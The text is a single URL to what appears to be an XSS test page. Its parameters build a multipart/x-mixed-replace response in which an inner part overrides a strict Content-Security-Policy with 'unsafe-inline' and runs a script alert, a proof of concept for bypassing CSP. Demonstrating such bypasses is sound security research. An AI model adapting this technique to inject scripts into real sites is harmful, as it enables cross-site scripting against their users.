https://terjanq.me/xss.php?h%5BContent-Security-Policy%5D=default-src+%27none%27&h%5BContent-Type%5D=multipart%2Fx-mixed-replace%3B+boundary%3DMYBOUNDARY&html=--MYBOUNDARY%0AContent-Type%3A+text%2Fhtml%0AContent-Security-Policy%3A+script-src+%27unsafe-inline%27%0A%0Alol%3Cscript%3Ealert%281%29%3C%2Fscript%3E%0A--MYBOUNDARY--